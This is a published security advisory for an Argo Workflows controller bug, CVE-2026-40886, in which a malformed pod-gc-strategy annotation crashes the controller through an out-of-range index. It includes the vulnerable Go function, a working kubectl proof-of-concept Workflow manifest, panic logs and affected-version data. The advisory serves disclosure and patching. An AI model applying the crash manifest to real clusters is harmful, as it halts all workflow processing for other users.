GHSA-5JV8-H7QH-RF5P
Vulnerability from github – Published: 2026-04-23 21:39 – Updated: 2026-04-23 21:39Summary
An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.
Details
podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:
func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
parts := strings.Split(val, "/")
return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
}
return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}
If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.
The code was introduced in #14129 and affects versions:
- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
- 3.7.x: v3.7.0-rc1 through v3.7.12
- 4.x: v4.0.0-rc1 through v4.0.3
- Not affected: v3.6.4 and earlier
PoC
Apply this workflow to a cluster running the Argo Workflows controller:
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
name: crash-podgc
spec:
entrypoint: main
serviceAccountName: default
podGC:
strategy: OnPodCompletion
podMetadata:
annotations:
workflows.argoproj.io/pod-gc-strategy: "NoSlash"
templates:
- name: main
container:
image: alpine:3.18
command: [echo, "hello"]
EOF
Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:
panic: runtime error: index out of range [1] with length 1
goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
/home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
Recovery requires deleting the poisoned workflow:
kubectl delete workflow -n argo crash-podgc
Impact
Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-workflows/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.5"
},
{
"last_affected": "3.6.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40886"
],
"database_specific": {
"cwe_ids": [
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-23T21:39:21Z",
"nvd_published_at": "2026-04-23T19:17:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unchecked array index in the pod informer\u0027s `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller\u0027s `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.\n\n### Details\n\n`podGCFromPod()` splits the annotation value on \"/\" and unconditionally accesses `parts[1]`:\n\n```go\nfunc podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {\n if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {\n parts := strings.Split(val, \"/\")\n return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}\n }\n return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}\n}\n```\n\nIf the annotation value contains no \"/\", `parts` has length 1 and `parts[1]` panics with index out of range.\n\nThe code was introduced in [#14129](https://github.com/argoproj/argo-workflows/issues/14129) and affects versions:\n\n - 3.6.x: v3.6.5 through v3.6.19 (backport in [#14263](https://github.com/argoproj/argo-workflows/issues/14263))\n - 3.7.x: v3.7.0-rc1 through v3.7.12\n - 4.x: v4.0.0-rc1 through v4.0.3\n - Not affected: v3.6.4 and earlier\n\n### PoC\n\nApply this workflow to a cluster running the Argo Workflows controller:\n\n```bash\nkubectl apply -n argo -f - \u003c\u003c\u0027EOF\u0027\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n name: crash-podgc\nspec:\n entrypoint: main\n serviceAccountName: default\n podGC:\n strategy: OnPodCompletion\n podMetadata:\n annotations:\n workflows.argoproj.io/pod-gc-strategy: \"NoSlash\"\n templates:\n - name: main\n container:\n image: alpine:3.18\n command: [echo, \"hello\"]\nEOF\n```\n\nWithin seconds the controller crashes. The controller pod will show `CrashLoopBackOff` with increasing restart count. Controller logs show:\n\n```\npanic: runtime error: index out of range [1] with length 1\n\ngoroutine 291 [running]:\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197\ngithub.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)\n /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246\n```\n\nRecovery requires deleting the poisoned workflow:\n\n```\nkubectl delete workflow -n argo crash-podgc\n```\n\n### Impact\n\nAny user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only `create` permission on Workflow resources, which is the baseline permission for any Argo Workflows user.",
"id": "GHSA-5jv8-h7qh-rf5p",
"modified": "2026-04-23T21:39:21Z",
"published": "2026-04-23T21:39:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40886"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-workflows"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.